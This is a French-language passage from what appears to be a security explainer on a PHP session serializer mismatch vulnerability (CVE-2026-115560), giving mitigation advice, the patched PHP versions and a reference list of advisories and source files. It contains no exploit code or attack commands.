Cela supprime l'écriture qui transporte les octets de l'attaquant, donc cela casse la chaîne documentée. Cela ne change pas l'hypothèse du moteur selon laquelle l'écrivain et le lecteur utilisent le même sérialiseur. Mettez aussi à jour vers la version corrigée.
Quelles versions sont corrigées ?
PHP 8.5.13, 8.4.28, 8.3.37 et 8.2.36 corrigent CVE-2026-115560 dans la publication de sécurité du 2026-11-19. Vérifiez le rétroportage de votre distribution si vous utilisez une branche hors support.
Références
- PHP, « Informational advisory: Session upload progress », 2026-10-23 : https://www.php.net/archive/2026.php#2026-10-23-1 (consulté le 19 novembre 2026)
- PHP, « Upcoming Critical PHP Security Release », 2026-11-18 : https://www.php.net/archive/2026.php#2026-11-18-1 (consulté le 19 novembre 2026)
- PHP, « Security advisory: Critical remote code execution vulnerabilities, update now », 2026-10-21 : https://www.php.net/archive/2026.php#2026-10-21-5 (consulté le 19 novembre 2026)
- Code source PHP à l'étiquette
php-8.5.12,ext/session/session.c: https://github.com/php/php-src/blob/php-8.5.12/ext/session/session.c (consulté le 19 novembre 2026) - Code source PHP à l'étiquette
php-8.5.12,main/rfc1867.c: https://github.com/php/php-src/blob/php-8.5.12/main/rfc1867.c (consulté le 19 novembre 2026) - Code source PHP à l'étiquette
php-8.5.12,ext/standard/var_unserializer.re: https://github.com/php/php-src/blob/php-8.5.12/ext/standard/var_unserializer.re (consulté le 19 novembre 2026) - GHSA-6wmf-4rv5-p3rp, « RCE via stale global state », l'avis du 2026-10-21 qui recommande de désactiver la progression d'envoi : https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp (consulté le 19 novembre 2026)
- GHSA-658j-r8rw-q6mx / CVE-2026-115560, « Session serializer mismatch can lead to remote code execution » (CVSS v4.0 9.2 CRITICAL), publié le 2026-11-19 : https://github.com/php/php-src/security/advisories/GHSA-658j-r8rw-q6mx et https://www.cve.org/CVERecord?id=CVE-2026-115560 (consulté le 19 novembre 2026)
- Catalogue Known Exploited Vulnerabilities de la CISA, version 2026.11.18, CVE-2026-115560 absent : https://www.cisa.gov/known-exploited-vulnerabilities-catalog (consulté le 19 novembre 2026)